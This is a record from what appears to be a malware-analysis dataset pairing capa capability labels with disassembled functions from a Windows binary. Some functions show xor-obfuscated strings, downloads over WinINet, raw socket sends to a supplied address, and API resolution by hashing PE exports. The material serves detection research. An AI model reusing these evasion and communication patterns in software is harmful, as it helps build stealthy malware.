joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140039530
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
movss xmm0, dword [rcx + 0xc]
mov rdi, r9
mulss xmm2, dword [0x140190148]
mov rsi, rdx
mov rbx, rcx
movaps xmmword [rsp + 0x20], xmm6
xorps xmm6, xmm6
subss xmm0, xmm2
maxss xmm0, xmm6
ucomiss xmm0, xmm6
movss dword [rcx + 0xc], xmm0
jp 0x140039575
jne 0x140039575
mov al, 1
jmp 0x140039577
xor al, al
mov byte [rcx + 8], al
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140039750
mov rax, qword [rbx + 0x10]
test rax, rax
jne 0x1400395d6
mov r8d, 0x1505
lea r9, [0x14018e0c5]
lea rdx, str.pos_y
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
inc rdx
imul r8d, r8d, 0x21
xor r8d, eax
cmp rdx, r9
jne 0x1400395b0
movss xmm3, dword [0x140190004]
mov edx, dword [rcx + 0x10]
call fcn.140030c30
mov qword [rbx + 0x10], rax
mov rdx, qword [0x1401b7290]
movaps xmm3, xmm6
mov byte [rax + 0x10], 1
mov r8d, dword [rsi]
mov r9d, r8d
shr r9d, 3
mov rax, qword [rdx + 0x4b28]
and r9b, 1
shr r8d, 1
and r8b, 1
mov rcx, qword [rax]
movss xmm1, dword [rcx + 0x14]
movss xmm4, dword [rcx + 0x10]
movaps xmm0, xmm1
mov rcx, qword [rbx + 0x10]
comiss xmm6, xmm1
seta al
mov byte [rcx + 0x3c], al
test al, al
je 0x140039627
movaps xmm0, xmm6
movaps xmm3, xmm1
movss xmm2, dword [rcx + 0x30]
subss xmm0, xmm3
mulss xmm2, dword [rcx + 0x2c]
addss xmm2, dword [rcx + 0x28]
movss dword [rcx + 0x2c], xmm0
movss dword [rcx + 0x28], xmm3
subss xmm2, xmm3
divss xmm2, xmm0
movss xmm0, dword [rcx + 0x34]
ucomiss xmm0, xmm2
jp 0x140039658
je 0x140039661
movss dword [rcx + 0x30], xmm2
mov byte [rcx + 8], 0
mov rcx, qword [rbx + 0x10]
xorps xmm0, xmm0
movss xmm2, dword [rdx + 0x3938]
test rdi, rdi
js 0x14003967c
cvtsi2ss xmm0, rdi
jmp 0x140039691
mov rax, rdi
and edi, 1
shr rax, 1
or rax, rdi
cvtsi2ss xmm0, rax
addss xmm0, xmm0
addss xmm2, xmm2
mulss xmm2, xmm0
mulss xmm0, dword [rbx + 0x2c]
addss xmm2, xmm0
movss xmm0, dword [rcx + 0x34]
subss xmm2, dword [rcx + 0x28]
divss xmm2, dword [rcx + 0x2c]
ucomiss xmm0, xmm2
jp 0x1400396b8
je 0x1400396c5
movss dword [rcx + 0x30], xmm2
mov byte [rcx + 8], 0
mov rcx, qword [rbx + 0x10]
movss xmm3, dword [0x14019d0c4]
movaps xmm2, xmm3
mulss xmm3, dword [rsi + 8]
mulss xmm2, dword [rsi + 4]
test r8b, r8b
jne 0x1400396eb
subss xmm4, dword [rbx + 0x28]
subss xmm4, xmm2
movaps xmm2, xmm4
test r9b, r9b
je 0x140039705
movss xmm1, dword [rcx + 0x34]
mulss xmm1, dword [rcx + 0x2c]
addss xmm1, dword [rcx + 0x28]
addss xmm1, xmm3
jmp 0x140039721
movss xmm0, dword [rcx + 0x34]
mulss xmm0, dword [rcx + 0x2c]
addss xmm0, dword [rcx + 0x28]
subss xmm1, xmm0
subss xmm1, dword [rbx + 0x2c]
subss xmm1, xmm3
or dword [rdx + 0x4a18], 1
movaps xmm0, xmm6
unpcklps xmm0, xmm6
movsd qword [rdx + 0x4a30], xmm0
movss dword [rdx + 0x4a28], xmm2
movss dword [rdx + 0x4a2c], xmm1
mov dword [rdx + 0x4a1c], 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x1400476d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call fcn.140069f00
sub rsp, rax
mov rdi, rdx
mov rbx, rcx
mov dword [rbp + 0xfb8], 1
movups xmm0, xmmword [0x14018f660]
movups xmmword [rsp + 0x30], xmm0
mov r8d, dword [0x14018f670]
mov dword [rsp + 0x40], r8d
movzx eax, word [0x14018f674]
mov ecx, 0x44
mov word [rsp + 0x30], cx
xor word [rsp + 0x32], 0x37
xor word [rsp + 0x34], 0x38
xor word [rsp + 0x36], 0x39
xor word [rsp + 0x38], 0x3a
xor word [rsp + 0x3a], 0x3b
xor word [rsp + 0x3c], 0x3c
xor word [rsp + 0x3e], 0x3d
xor r8w, 0x3e
mov word [rsp + 0x40], r8w
xor word [rsp + 0x42], 0x3f
xor ax, 0x40
mov word [rsp + 0x44], ax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov dword [rbp + 0xfb8], 1
test rax, rax
je 0x140047905
cmp qword [rdi + 0x18], 0xf
jbe 0x1400477bf
mov r9, qword [rdi]
mov rdx, r9
add r9, qword [rdi + 0x10]
jmp 0x1400477c9
mov r9, qword [rdi + 0x10]
add r9, rdi
mov rdx, rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
cmp rdx, r9
jne 0x1400477f1
mov eax, 7
mov qword [rsp + 0x60], rax
mov word [rsp + 0x48], r14w
jmp 0x140047803
sub r9, rdx
lea rcx, [rsp + 0x48]
call fcn.14005b650
mov rax, qword [rsp + 0x60]
lea rdx, [rsp + 0x48]
cmp rax, 7
cmova rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140047876
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140068bcc
movdqa xmm0, xmmword [0x1401901b0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r14w
test rdi, rdi
je 0x1400478fb
mov dword [rbp + 0xfb0], r14d
lea r9, [rbp + 0xfb0]
mov r8d, 0x1000
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400478f2
mov eax, dword [rbp + 0xfb0]
test eax, eax
je 0x1400478f2
mov r9d, eax
mov rdx, qword [rbx + 8]
lea r8, [rsp + 0x70]
mov rcx, rbx
call fcn.14005b400
lea r9, [rbp + 0xfb0]
mov r8d, 0x1000
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400478b5
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, rbx
add rsp, 0x1070
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14004b310
Capabilities:
Connect socket
Initialize winsock library
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x1d0
mov rbx, rdx
mov rsi, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14004b345
call fcn.14004ae00
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x1e0], rbp
xor r8d, r8d
mov ebp, 2
mov qword [rsp + 0x1e8], rdi
mov ecx, ebp
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004b387
call fcn.14004ae00
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp qword [rsi + 0x18], 0xf
mov qword [rsp + 0x28], 0
mov word [rsp + 0x20], bp
jbe 0x14004b39f
mov rsi, qword [rsi]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0xbe70
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, send
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14004b427
cmp qword [rbx + 0x18], 0xf
mov r8d, dword [rbx + 0x10]
jbe 0x14004b3e3
mov rbx, qword [rbx]
xor r9d, r9d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14004b427
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbp, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1e8]
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1d0
pop rsi
ret
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140050bb0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1401b76a8]
test rax, rax
jne 0x140050db4
mov rax, qword gs:[0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov ebx, 0x694a8c81
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r8d, r8d
je 0x140050c4d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
cmp rcx, r9
je 0x140050c44
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r9
jne 0x140050c30
cmp edx, r8d
jne 0x140050d77
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov r11d, ecx
shr r15, 0x20
add r11, r10
cmp r11, r10
je 0x140050d77
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140050d77
mov r14d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov edx, 0x811c9dc5
lea rax, [r14 + r9*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140050cc7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140050cb0
cmp edx, ebx
je 0x140050cd5
test r9d, r9d
jne 0x140050c90
jmp 0x140050d77
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, r11
jbe 0x140050d8f
lea rcx, [r15 + r11]
cmp rax, rcx
jae 0x140050d8f
movzx ecx, byte [rax]
mov r8d, 0x811c9dc5
mov dword [rsp + 0x40], r8d
mov edx, r8d
mov dword [rsp + 0x44], edx
cmp cl, 0x2e
je 0x140050d3d
nop
movsx ecx, cl
inc rax
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x140050d20
mov dword [rsp + 0x40], r8d
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x140050d6a
nop dword [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x140050d50
mov dword [rsp + 0x44], edx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rbp]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140050d8d
cmp qword [rax + 0x30], 0
jne 0x140050c01
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x1401b76a8], rax
add rsp, 0x38
jmp rax
Function at 0x1400513f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rcx, qword [0x1401b7738]
test rcx, rcx
jne 0x1400515f3
mov rax, qword gs:[0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov ebx, 0x9bc5a608
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x50], rbp
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r8d, r8d
je 0x14005148d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
cmp rcx, r9
je 0x140051484
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r9
jne 0x140051470
cmp edx, r8d
jne 0x1400515b6
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov rbp, rcx
mov r11d, ecx
shr rbp, 0x20
add r11, r10
cmp r11, r10
je 0x1400515b6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400515b6
mov r14d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov edx, 0x811c9dc5
lea rax, [r14 + r9*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140051507
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400514f0
cmp edx, ebx
je 0x140051515
test r9d, r9d
jne 0x1400514d0
jmp 0x1400515b6
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov ecx, dword [rcx + rdx*4]
add rcx, r10
cmp rcx, r11
jbe 0x1400515ce
lea rax, [r11 + rbp]
cmp rcx, rax
jae 0x1400515ce
movzx eax, byte [rcx]
mov r8d, 0x811c9dc5
mov dword [rsp + 0x40], r8d
mov edx, r8d
mov dword [rsp + 0x44], edx
cmp al, 0x2e
je 0x14005157c
nop dword [rax]
movsx eax, al
inc rcx
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140051560
mov dword [rsp + 0x40], r8d
movzx eax, byte [rcx + 1]
inc rcx
test al, al
je 0x1400515aa
nop word [rax + rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
test al, al
jne 0x140051590
mov dword [rsp + 0x44], edx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [r15]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400515cc
cmp qword [rax + 0x30], 0
jne 0x140051441
xor ecx, ecx
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x1401b7738], rcx
call fcn.14004fa50
call fcn.140050320
test eax, eax
je 0x14005160d
mov qword [0], 1
call fcn.1400507d0
test eax, eax
je 0x140051622
mov qword [0], 1
call fcn.140050bb0
test eax, eax
je 0x140051637
mov qword [0], 1
call fcn.140050dc0
test al, al
je 0x14005164c
mov qword [0], 1
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], socket
call fcn.14005a3f0
add rsp, 0x38
ret
Function at 0x140058eb0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140058ed8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140058efe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140058f00
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140058f59
test ecx, ecx
jle 0x140058f39
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140058f59
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140058f59
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140058f80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140058fb1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x140058fcf
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140058feb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140058fed
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140059029
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400590be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140059064
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14005909e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400590be
cmp rbx, rax
ja 0x140059070
test rbx, rbx
je 0x1400590be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140059500
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140059524
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140059567
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140059567
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140059698
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400595aa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400595d5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14005969d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14005964a
sub eax, 1
je 0x14005964a
cmp eax, 2
jne 0x140059698
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14005969d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14005967b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140059698
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14005969d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140059d50
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140059e19
cmp byte [rcx + 0x71], 0
je 0x140059e19
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140059e0c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140059dc8
sub eax, 1
je 0x140059dcc
cmp eax, 2
jne 0x140059e0c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140059dfa
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140059e0c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret
Function at 0x14005b250
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x14005b281
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1401b7968]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1401b7978]
lea rdx, [rdi + rdi]
call fcn.14005a000
mov rax, qword [0x1401b7968]
lea r9, [rdi - 1]
mov qword [0x1401b7990], r9
mov qword [0x1401b7998], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14005b3f4
mov qword [rsp + 0x38], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1401b7978]
mov r9, qword [r11]
cmp r9, rbx
jne 0x14005b340
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14005b3b5
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x14005b37d
mov r10, qword [rdx]
cmp r10, rax
je 0x14005b377
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14005b3b5
cmp r9, rdx
je 0x14005b391
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x14005b3c9
cmp r9, rdx
jne 0x14005b382
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x14005b3ef
mov r9, qword [0x1401b7990]
jmp 0x14005b2f1
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14005b3b5
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret